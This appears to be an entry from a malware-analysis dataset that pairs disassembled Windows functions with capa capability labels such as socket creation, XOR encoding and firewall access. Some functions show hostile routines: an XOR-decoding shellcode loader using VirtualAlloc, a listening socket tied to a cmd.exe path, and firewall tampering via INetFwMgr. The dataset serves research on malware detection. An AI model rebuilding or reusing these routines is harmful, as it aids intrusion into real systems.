joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407010
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40704e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x407046
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x407050
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x407036
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x407120
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x407151
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x407151
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x407151
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x4010f0
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
mov ebp, esp
add esp, 0xfffffffc
push esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov dword [0x40332c], eax
lea ecx, [ebp - 4]
push eax
push ecx
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
call dword [sym.imp.COMCTL32.dll_InitCommonControls]
mov eax, dword [ebp + 4]
mov dword [0x40319b], eax
xor eax, eax
mov ecx, 0x16
push eax
dec ecx
jne 0x401121
push 0x7f00
push esi
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x7f00
push esi
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [ebp - 0x5c]
push ecx
mov eax, 0x30
mov dword [ecx], eax
mov eax, dword [0x40319b]
mov dword [ebp - 0x48], eax
mov eax, 0x401bbc
mov dword [ebp - 0x54], eax
mov ecx, 0x4030bd
mov dword [ebp - 0x34], ecx
call dword [sym.imp.USER32.dll_RegisterClassExA]
push 0
push 0
push str.Riched32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
xor ecx, ecx
push ecx
push dword [0x40319b]
push ecx
push ecx
push 0x12e
push 0x7a
push 0x34c
push 0x2aa
push 0x40000
lea eax, str.bananas
push eax
mov eax, str.secondclass
push eax
push ecx
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov dword [0x403378], eax
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [0x403378]
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
xor ebx, ebx
lea edi, [ebp - 0x50]
jmp 0x4011d9
push edi
call dword [sym.imp.USER32.dll_TranslateMessage]
push edi
call dword [sym.imp.USER32.dll_DispatchMessageA]
push ebx
push ebx
push ebx
push edi
call dword [sym.imp.USER32.dll_GetMessageA]
test al, al
jne 0x4011cb
mov esp, ebp
ret
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404399

Function at 0x409d20
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x409d2f
pop dword [ebp - 0x40]
mov eax, 0xd97b8700
sub eax, 0xd93ae9d1
sub dword [ebp - 0x40], eax
push 0x40
push 0x1000
push 0x3757e
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x40]
call dword [eax]
mov ecx, 0x56eb5abb
sub ecx, 0x56eb1a2c
mov ebx, eax
mov edx, 0xc0d5160a
add edx, 0x3f6c25ba
add edx, dword [ebp - 0x40]
mov edi, 0x582ae3bd
xor dword [ebp - 0x10], edi
mov esi, dword [edx]
xor dword [ebp - 8], edx
xor esi, edi
add dword [ebp - 0x28], 0x92dbb652
mov dword [ebx], esi
xor dword [ebp - 0x14], edi
add ebx, 0x37ee76c6
add ebx, 0xc811893e
add edx, 4
loop 0x409d83
add eax, 0xf50f
xor ebx, ebx
add ebx, eax
add eax, 0x2c4757b8
add eax, 0xd3b8a84d
mov ecx, 0xb63ad45c
add ecx, 0x4a052ba4
add ecx, dword [ebp - 0x40]
call ebx
leave
ret
Function at 0x401870
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x198
mov eax, dword [0x425064]
xor eax, esp
mov dword [esp + 0x194], eax
push 0x280
push 0
push 0x436814
mov dword [0x4363f8], 0
mov dword [0x4363fc], 0xffffffff
call fcn.004119c0
add esp, 0xc
lea eax, [esp]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ecx, dword [esp + 0x194]
xor ecx, esp
mov eax, 0x4363f8
call fcn.0040bd50
mov esp, ebp
pop ebp
ret

Function at 0x4018e0
Capabilities:
Create tcp socket
Create thread
Set socket configuration

Disassembly:
push ecx
cmp dword [0x4363f8], 1
push esi
movzx esi, word [0x42af44]
push edi
je 0x401948
or edi, 0xffffffff
cmp dword [0x4363fc], edi
jne 0x401948
test si, si
je 0x401948
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [0x4363fc], eax
cmp eax, edi
je 0x401948
lea ecx, [esp + 8]
push ecx
push 0x8004667e
push eax
mov dword [esp + 0x14], 1
call dword [sym.imp.WS2_32.dll_ioctlsocket]
cmp eax, edi
jne 0x40194e
mov edx, dword [0x4363fc]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [0x4363fc], edi
pop edi
xor eax, eax
pop esi
pop ecx
ret
mov eax, 2
push esi
mov word [0x436400], ax
mov dword [0x436404], 0
call dword [sym.imp.WS2_32.dll_htons]
mov ecx, dword [0x4363fc]
push 0x10
mov word [0x436402], ax
xor eax, eax
push 0x436400
push ecx
mov dword [0x436408], eax
mov dword [0x43640c], eax
call dword [sym.imp.WS2_32.dll_bind]
test eax, eax
jne 0x401935
mov eax, dword [0x4363fc]
push 5
push eax
call dword [sym.imp.WS2_32.dll_listen]
cmp eax, edi
jne 0x4019bf
mov ecx, dword [0x4363fc]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [0x4363fc], edi
pop edi
xor eax, eax
pop esi
pop ecx
ret
call fcn.00401aa0
test eax, eax
je 0x401948
push 0
push 0
push 0x4363f8
push 0x401ba0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x436810], eax
test eax, eax
je 0x401935
pop edi
mov dword [0x4363f8], 1
mov eax, 1
pop esi
pop ecx
ret

Function at 0x401a00
Capabilities:
Terminate process

Disassembly:
push ecx
push ebx
push ebp
mov ebp, dword [sym.imp.WS2_32.dll_closesocket]
push esi
mov esi, dword [esp + 0x14]
mov eax, dword [esi + 4]
push edi
cmp eax, 0xffffffff
je 0x401a21
push eax
call ebp
mov dword [esi + 4], 0xffffffff
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [sym.imp.KERNEL32.dll_TerminateProcess]
add esi, 0x41c
mov dword [esp + 0x10], 0x10
jmp 0x401a40
mov eax, dword [esi]
test eax, eax
je 0x401a69
push eax
call ebp
mov eax, dword [esi + 0x14]
push eax
call edi
mov ecx, dword [esi + 0x1c]
push ecx
call edi
mov edx, dword [esi + 0x18]
push edx
call edi
mov eax, dword [esi + 0x20]
push eax
call edi
mov ecx, dword [esi + 0x24]
push 0
push ecx
call ebx
add esi, 0x28
sub dword [esp + 0x10], 1
jne 0x401a40
mov eax, dword [esp + 0x18]
push 0x280
add eax, 0x41c
push 0
push eax
call fcn.004119c0
mov edx, dword [esp + 0x24]
add esp, 0xc
pop edi
pop esi
pop ebp
mov dword [edx], 0
pop ebx
pop ecx
ret 4
Function at 0x401aa0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x408
mov eax, dword [0x425064]
xor eax, esp
mov dword [esp + 0x404], eax
push 0x3ff
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
je 0x401b7f
cmp byte [esp + eax + 4], 0x5c
je 0x401add
mov byte [esp + eax + 4], 0x5c
mov byte [esp + eax + 5], 0
lea ecx, [esp + 4]
push ecx
push 0x400
push 0x436410
call fcn.0040cc27
push str.cmd.exe
push 0x400
push 0x436410
call fcn.0040cbb3
push 0x420fdc
lea edx, [esp + 0x1c]
push 0x436410
push edx
call fcn.0040c1b8
mov eax, dword [esp + 0x24]
add esp, 0x24
test eax, eax
je 0x401b47
push eax
call fcn.0040cb37
add esp, 4
mov eax, 1
mov ecx, dword [esp + 0x404]
xor ecx, esp
call fcn.0040bd50
add esp, 0x408
ret
push str.c:command.com
push 0x400
push 0x436410
call fcn.0040cc27
push 0x420fdc
lea eax, [esp + 0x10]
push 0x436410
push eax
call fcn.0040c1b8
mov eax, dword [esp + 0x18]
add esp, 0x18
test eax, eax
jne 0x401b24
mov byte [0x436410], al
mov ecx, dword [esp + 0x404]
xor ecx, esp
xor eax, eax
call fcn.0040bd50
add esp, 0x408
ret

Function at 0x401f90
Capabilities:
Access firewall settings via inetfwmgr

Disassembly:
sub esp, 0x18
push ebx
push esi
push edi
mov esi, eax
lea eax, [esp + 0x20]
push eax
xor edi, edi
push 0x421094
push 1
push edi
push 0x421084
xor ebx, ebx
mov dword [esp + 0x34], edi
mov dword [esp + 0x30], edi
mov dword [esp + 0x2c], edi
mov dword [esp + 0x28], edi
mov dword [esp + 0x24], edi
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jne 0x402055
mov eax, dword [esp + 0x20]
mov ecx, dword [eax]
lea edx, [esp + 0x1c]
push edx
push eax
mov eax, dword [ecx + 0x1c]
call eax
test eax, eax
jne 0x402055
mov eax, dword [esp + 0x1c]
mov ecx, dword [eax]
lea edx, [esp + 0x18]
push edx
push eax
mov eax, dword [ecx + 0x1c]
call eax
test eax, eax
jne 0x402055
mov eax, dword [esp + 0x18]
mov ecx, dword [eax]
lea edx, [esp + 0x14]
push edx
push eax
mov eax, dword [ecx + 0x48]
call eax
test eax, eax
jne 0x402055
mov eax, dword [esp + 0x14]
mov ecx, dword [eax]
neg esi
sbb esi, esi
lea edx, [esp + 0x10]
push edx
movzx edx, word [esp + 0x2c]
and esi, 0xfffffff5
add esi, 0x11
push esi
push edx
push eax
mov eax, dword [ecx + 0x28]
call eax
test eax, eax
jne 0x402055
mov eax, dword [esp + 0x10]
mov ecx, dword [eax]
lea edx, [esp + 0xc]
push edx
push eax
mov eax, dword [ecx + 0x4c]
call eax
test eax, eax
jne 0x402055
cmp word [esp + 0xc], 0xffff
jne 0x402055
lea ebx, [edi + 1]
mov eax, dword [esp + 0x10]
cmp eax, edi
je 0x402065
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [esp + 0x14]
cmp eax, edi
je 0x402075
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [esp + 0x18]
cmp eax, edi
je 0x402085
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [esp + 0x1c]
cmp eax, edi
je 0x402095
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [esp + 0x20]
cmp eax, edi
je 0x4020a5
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
pop edi
pop esi
mov eax, ebx
pop ebx
add esp, 0x18
ret 4
Function at 0x4020b0
Capabilities:
Access firewall settings via inetfwmgr

Disassembly:
sub esp, 0x14
push ebx
mov ebx, dword [sym.imp.ole32.dll_CoCreateInstance]
push ebp
push esi
push edi
mov esi, eax
lea eax, [esp + 0x20]
push eax
xor edi, edi
push 0x421094
push 1
push edi
push 0x421084
xor ebp, ebp
mov dword [esp + 0x34], edi
mov dword [esp + 0x30], edi
mov dword [esp + 0x2c], edi
mov dword [esp + 0x28], edi
mov dword [esp + 0x24], edi
call ebx
test eax, eax
jne 0x4021b0
mov eax, dword [esp + 0x20]
mov ecx, dword [eax]
lea edx, [esp + 0x1c]
push edx
push eax
mov eax, dword [ecx + 0x1c]
call eax
test eax, eax
jne 0x4021b0
mov eax, dword [esp + 0x1c]
mov ecx, dword [eax]
lea edx, [esp + 0x18]
push edx
push eax
mov eax, dword [ecx + 0x1c]
call eax
test eax, eax
jne 0x4021b0
mov eax, dword [esp + 0x18]
mov ecx, dword [eax]
lea edx, [esp + 0x14]
push edx
push eax
mov eax, dword [ecx + 0x48]
call eax
test eax, eax
jne 0x4021b0
lea ecx, [esp + 0x10]
push ecx
push 0x4210b4
push 1
push edi
push 0x4210a4
call ebx
test eax, eax
jne 0x4021b0
movzx ecx, word [esp + 0x2c]
mov eax, dword [esp + 0x10]
mov edx, dword [eax]
mov edx, dword [edx + 0x38]
push ecx
push eax
call edx
test eax, eax
jne 0x4021b0
mov eax, dword [esp + 0x10]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x30]
neg esi
sbb esi, esi
and esi, 0xfffffff5
add esi, 0x11
push esi
push eax
call edx
test eax, eax
jne 0x4021b0
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x28]
mov ecx, dword [eax]
push edx
push eax
mov eax, dword [ecx + 0x20]
call eax
test eax, eax
jne 0x4021b0
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0x10]
mov ecx, dword [eax]
push edx
push eax
mov eax, dword [ecx + 0x20]
call eax
test eax, eax
jne 0x4021b0
lea ebp, [edi + 1]
mov eax, dword [esp + 0x10]
cmp eax, edi
je 0x4021c0
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [esp + 0x14]
cmp eax, edi
je 0x4021d0
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [esp + 0x18]
cmp eax, edi
je 0x4021e0
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [esp + 0x1c]
cmp eax, edi
je 0x4021f0
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [esp + 0x20]
cmp eax, edi
je 0x402200
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
pop edi
pop esi
mov eax, ebp
pop ebp
pop ebx
add esp, 0x14
ret 8
Function at 0x402210
Capabilities:
Access firewall settings via inetfwmgr

Disassembly:
sub esp, 0x10
push esi
push edi
lea eax, [esp + 0x14]
push eax
push 0x421094
xor esi, esi
push 1
push esi
push 0x421084
xor edi, edi
mov dword [esp + 0x28], esi
mov dword [esp + 0x24], esi
mov dword [esp + 0x20], esi
mov dword [esp + 0x1c], esi
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jne 0x40229f
mov eax, dword [esp + 0x14]
mov ecx, dword [eax]
lea edx, [esp + 0x10]
push edx
push eax
mov eax, dword [ecx + 0x1c]
call eax
test eax, eax
jne 0x40229f
mov eax, dword [esp + 0x10]
mov ecx, dword [eax]
lea edx, [esp + 0xc]
push edx
push eax
mov eax, dword [ecx + 0x1c]
call eax
test eax, eax
jne 0x40229f
mov eax, dword [esp + 0xc]
mov ecx, dword [eax]
lea edx, [esp + 8]
push edx
push eax
mov eax, dword [ecx + 0x48]
call eax
test eax, eax
jne 0x40229f
movzx edx, word [esp + 0x1c]
mov eax, dword [esp + 8]
mov ecx, dword [eax]
push 6
push edx
push eax
mov eax, dword [ecx + 0x24]
call eax
test eax, eax
jne 0x40229f
lea edi, [esi + 1]
mov eax, dword [esp + 8]
cmp eax, esi
je 0x4022af
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [esp + 0xc]
cmp eax, esi
je 0x4022bf
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [esp + 0x10]
cmp eax, esi
je 0x4022cf
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [esp + 0x14]
cmp eax, esi
je 0x4022df
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, edi
pop edi
pop esi
add esp, 0x10
ret 4
Function at 0x403b10
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x198
mov eax, dword [0x425064]
xor eax, esp
mov dword [esp + 0x194], eax
mov eax, 0x1bb
mov word [0x436a9c], ax
or eax, 0xffffffff
mov dword [0x436abc], eax
mov dword [0x436aa8], eax
xor eax, eax
push 0xc000
push eax
mov ecx, 0x35
push 0x436ad8
mov word [0x436a9e], cx
mov dword [0x436ad0], eax
mov dword [0x436ad4], eax
mov dword [0x436aa0], 0x3b32328
mov dword [0x436aa4], 0xf303bf
call fcn.004119c0
add esp, 0xc
lea edx, [esp]
push edx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ecx, dword [esp + 0x194]
xor ecx, esp
mov eax, 0x436a98
call fcn.0040bd50
mov esp, ebp
pop ebp
ret
Function at 0x403c00
Capabilities:
Create tcp socket
Create thread
Create udp socket
Set socket configuration

Disassembly:
push ecx
push edi
or edi, 0xffffffff
cmp dword [esi + 0x10], edi
jne 0x403c47
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi + 0x10], eax
cmp eax, edi
je 0x403c47
lea ecx, [esp + 4]
push ecx
push 0x8004667e
push eax
mov dword [esp + 0x10], 1
call dword [sym.imp.WS2_32.dll_ioctlsocket]
cmp eax, edi
jne 0x403c4c
mov edx, dword [esi + 0x10]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esi + 0x10], edi
mov eax, edi
pop edi
pop ecx
ret
movzx ecx, word [esi + 4]
push ebx
mov ebx, dword [sym.imp.WS2_32.dll_htons]
push ebp
mov eax, 2
lea edi, [esi + 0x14]
push ecx
mov word [edi], ax
mov dword [esi + 0x18], 0
call ebx
mov ebp, dword [sym.imp.WS2_32.dll_bind]
mov word [esi + 0x16], ax
xor eax, eax
mov dword [esi + 0x1c], eax
push 0x10
mov dword [esi + 0x20], eax
mov edx, dword [esi + 0x10]
push edi
push edx
call ebp
test eax, eax
je 0x403ca1
mov eax, dword [esi + 0x10]
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
pop ebp
or eax, 0xffffffff
pop ebx
mov dword [esi + 0x10], eax
pop edi
pop ecx
ret
mov ecx, dword [esi + 0x10]
push 5
push ecx
call dword [sym.imp.WS2_32.dll_listen]
test eax, eax
je 0x403cc6
mov edx, dword [esi + 0x10]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
pop ebp
or eax, 0xffffffff
pop ebx
mov dword [esi + 0x10], eax
pop edi
pop ecx
ret
push 0x11
push 2
push 2
call dword [sym.imp.WS2_32.dll_socket]
or edi, 0xffffffff
mov dword [esi + 0x24], eax
cmp eax, edi
jne 0x403cf0
mov eax, dword [esi + 0x10]
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
pop ebp
pop ebx
mov dword [esi + 0x10], edi
mov eax, edi
pop edi
pop ecx
ret
lea ecx, [esp + 0xc]
push ecx
push 0x8004667e
push eax
call dword [sym.imp.WS2_32.dll_ioctlsocket]
cmp eax, edi
jne 0x403d24
mov edx, dword [esi + 0x10]
mov ebx, dword [sym.imp.WS2_32.dll_closesocket]
push edx
call ebx
mov eax, dword [esi + 0x24]
push eax
call ebx
pop ebp
pop ebx
mov dword [esi + 0x10], edi
mov dword [esi + 0x24], edi
mov eax, edi
pop edi
pop ecx
ret
mov ecx, 2
lea edi, [esi + 0x28]
push 0
mov word [edi], cx
call dword [sym.imp.WS2_32.dll_htonl]
movzx edx, word [esi + 6]
push edx
mov dword [esi + 0x2c], eax
call ebx
mov word [esi + 0x2a], ax
xor eax, eax
mov dword [esi + 0x30], eax
push 0x10
mov dword [esi + 0x34], eax
mov eax, dword [esi + 0x24]
push edi
push eax
call ebp
or ebx, 0xffffffff
cmp eax, ebx
jne 0x403d7c
mov ecx, dword [esi + 0x10]
mov edi, dword [sym.imp.WS2_32.dll_closesocket]
push ecx
call edi
mov edx, dword [esi + 0x24]
push edx
call edi
pop ebp
mov dword [esi + 0x10], ebx
mov dword [esi + 0x24], ebx
mov eax, ebx
pop ebx
pop edi
pop ecx
ret
lea eax, [esi + 0x3c]
push eax
push 0
push esi
push 0x403f60
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi + 0x38], eax
neg eax
sbb eax, eax
pop ebp
neg eax
pop ebx
dec eax
pop edi
pop ecx
ret
Function at 0x403db0
Capabilities:
Terminate thread

Disassembly:
sub esp, 8
push ebx
push ebp
mov ebp, dword [sym.imp.WS2_32.dll_closesocket]
push esi
mov esi, eax
mov eax, dword [esi + 0x10]
push edi
push eax
call ebp
mov ecx, dword [esi + 0x24]
push ecx
call ebp
mov edx, dword [esi + 0x38]
or eax, 0xffffffff
push 0
push edx
mov dword [esi + 0x24], eax
mov dword [esi + 0x10], eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ecx, dword [esi + 0x38]
mov edi, dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
lea eax, [esp + 0x14]
push eax
push ecx
call edi
test eax, eax
jne 0x403e23
mov ebp, dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
call ebp
cmp eax, 0x103
jne 0x403e1d
push 0xa
call ebx
mov eax, dword [esi + 0x38]
lea edx, [esp + 0x14]
push edx
push eax
call edi
test eax, eax
je 0x403e01
mov ebp, dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
mov dword [esi + 0x38], eax
mov dword [esi + 0x3c], eax
lea edi, [esi + 0x68]
mov dword [esp + 0x10], 0x200
cmp dword [edi - 0x28], 0
lea ebx, [edi - 0x28]
je 0x403e60
mov ecx, dword [edi - 0x20]
push ecx
call ebp
mov ecx, dword [edi]
test ecx, ecx
je 0x403e53
mov edx, dword [ecx]
mov eax, dword [edx]
push 1
call eax
push 0x60
push 0
push ebx
call fcn.004119c0
add esp, 0xc
add edi, 0x60
sub dword [esp + 0x10], 1
jne 0x403e36
push 0xc000
push 0
add esi, 0x40
push esi
call fcn.004119c0
add esp, 0xc
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret

Function at 0x403e90
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
movzx esi, cl
push edi
mov edi, eax
lea eax, [esi + edx]
cmp eax, 8
ja 0x403ed6
xor eax, eax
test edx, edx
jbe 0x403ebb
lea esi, [esp + esi + 0x10]
lea ebx, [ebx]
mov bl, byte [esi + eax]
xor byte [eax + edi], bl
inc eax
cmp eax, edx
jb 0x403eb0
add dl, cl
movzx eax, dl
and eax, 0x80000007
jns 0x403f4f
dec eax
pop edi
or eax, 0xfffffff8
pop esi
inc eax
pop ebx
ret 8
test cl, cl
jbe 0x403ef4
mov ecx, esi
cmp ecx, 8
jae 0x403ef4
mov eax, ecx
sub eax, esi
add eax, edi
mov bl, byte [esp + ecx + 0x10]
xor byte [eax], bl
inc ecx
inc eax
cmp ecx, 8
jb 0x403ee7
mov ebx, 8
sub ebx, esi
and ebx, 0x80000007
jns 0x403f08
dec ebx
or ebx, 0xfffffff8
inc ebx
mov ecx, edx
sub ecx, ebx
shr ecx, 3
test ecx, ecx
jbe 0x403f2e
mov esi, dword [esp + 0x14]
push ebp
mov ebp, dword [esp + 0x14]
lea eax, [ebx + edi]
nop
xor dword [eax], ebp
xor dword [eax + 4], esi
add eax, 8
sub ecx, 1
jne 0x403f20
pop ebp
mov al, dl
sub al, bl
and al, 7
movzx esi, al
xor ecx, ecx
test esi, esi
jbe 0x403f4f
sub edi, esi
add edi, edx
mov edx, edi
mov bl, byte [esp + ecx + 0x10]
xor byte [edx], bl
inc ecx
inc edx
cmp ecx, esi
jb 0x403f43
pop edi
pop esi
pop ebx
ret 8

Function at 0x405a60
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x198
mov eax, dword [0x425064]
xor eax, esp
mov dword [esp + 0x194], eax
push 0x1c00
push 0
push 0x4347f4
mov dword [0x4347d8], 0
mov dword [0x4347dc], 0xffffffff
call fcn.004119c0
add esp, 0xc
lea eax, [esp]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ecx, dword [esp + 0x194]
xor ecx, esp
mov eax, 0x4347d8
call fcn.0040bd50
mov esp, ebp
pop ebp
ret
Function at 0x405ad0
Capabilities:
Create tcp socket
Create thread
Set socket configuration

Disassembly:
push ecx
cmp dword [0x4347d8], 1
push esi
movzx esi, word [0x42852c]
push edi
je 0x405b38
or edi, 0xffffffff
cmp dword [0x4347dc], edi
jne 0x405b38
test si, si
je 0x405b38
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [0x4347dc], eax
cmp eax, edi
je 0x405b38
lea ecx, [esp + 8]
push ecx
push 0x8004667e
push eax
mov dword [esp + 0x14], 1
call dword [sym.imp.WS2_32.dll_ioctlsocket]
cmp eax, edi
jne 0x405b3e
mov edx, dword [0x4347dc]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [0x4347dc], edi
pop edi
xor eax, eax
pop esi
pop ecx
ret
mov eax, 2
push esi
mov word [0x4347e0], ax
mov dword [0x4347e4], 0
call dword [sym.imp.WS2_32.dll_htons]
mov ecx, dword [0x4347dc]
push 0x10
mov word [0x4347e2], ax
xor eax, eax
push 0x4347e0
push ecx
mov dword [0x4347e8], eax
mov dword [0x4347ec], eax
call dword [sym.imp.WS2_32.dll_bind]
test eax, eax
jne 0x405b25
mov eax, dword [0x4347dc]
push 5
push eax
call dword [sym.imp.WS2_32.dll_listen]
cmp eax, edi
jne 0x405baf
mov ecx, dword [0x4347dc]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [0x4347dc], edi
pop edi
xor eax, eax
pop esi
pop ecx
ret
push 0
push 0
push 0x4347d8
push 0x4060b0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x4347f0], eax
test eax, eax
je 0x405b25
pop edi
mov dword [0x4347d8], 1
mov eax, 1
pop esi
pop ecx
ret